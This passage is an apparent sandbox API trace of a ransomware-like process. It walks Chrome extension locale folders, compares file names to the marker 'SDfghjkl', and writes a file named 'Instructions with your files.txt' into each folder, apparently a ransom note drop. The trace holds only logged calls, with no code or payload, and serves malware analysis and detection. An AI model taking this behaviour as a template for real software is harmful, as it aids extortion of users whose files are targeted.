[0129.561] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841dcb10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841df220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841df220, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.561] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\..") returned 144
[0129.561] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841df220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841df220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.561] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json") returned 155
[0129.561] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.561] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841df220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841df220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.561] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\Instructions with your files.txt") returned 174
[0129.561] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.562] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.563] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.563] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.563] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.563] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.563] CloseHandle (hObject=0x134) returned 1
[0129.563] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.563] GetProcessHeap () returned 0x810000
[0129.563] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.563] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841eb570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f0390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841f0390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
[0129.563] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk") returned 141
[0129.563] GetProcessHeap () returned 0x810000
[0129.563] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.563] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\*") returned 143
[0129.563] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841eb570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f0390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841f0390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.564] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\.") returned 143
[0129.564] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841eb570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f0390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841f0390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.564] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\..") returned 144
[0129.564] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841f0390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f0390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.564] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json") returned 155
[0129.564] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.564] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841f0390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f0390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.564] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\Instructions with your files.txt") returned 174
[0129.564] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.564] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.565] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.565] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.565] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.565] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.565] CloseHandle (hObject=0x134) returned 1
[0129.566] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.566] GetProcessHeap () returned 0x810000
[0129.566] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.566] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841f51b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f78c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841f78c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
[0129.566] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl") returned 141
[0129.566] GetProcessHeap () returned 0x810000
[0129.566] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.566] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\*") returned 143
[0129.566] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841f51b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f78c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841f78c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.567] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\.") returned 143
[0129.567] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841f51b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f78c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841f78c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.567] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\..") returned 144
[0129.567] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841f78c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f78c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.567] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json") returned 155
[0129.567] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.567] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841f78c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f78c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.567] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\Instructions with your files.txt") returned 174
[0129.567] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.568] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.568] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.568] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.569] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.569] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.569] CloseHandle (hObject=0x134) returned 1
[0129.569] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.569] GetProcessHeap () returned 0x810000
[0129.569] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.569] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841fc6e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841fedf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841fedf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1
[0129.569] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr") returned 141
[0129.569] GetProcessHeap () returned 0x810000
[0129.569] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.569] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\*") returned 143
[0129.569] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841fc6e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841fedf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841fedf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.569] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\.") returned 143
[0129.569] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841fc6e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841fedf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841fedf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.569] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\..") returned 144
[0129.569] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841fedf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841fedf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.569] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json") returned 155
[0129.569] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.570] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841fedf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841fedf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.570] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\Instructions with your files.txt") returned 174
[0129.570] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.570] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.571] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.571] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.571] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
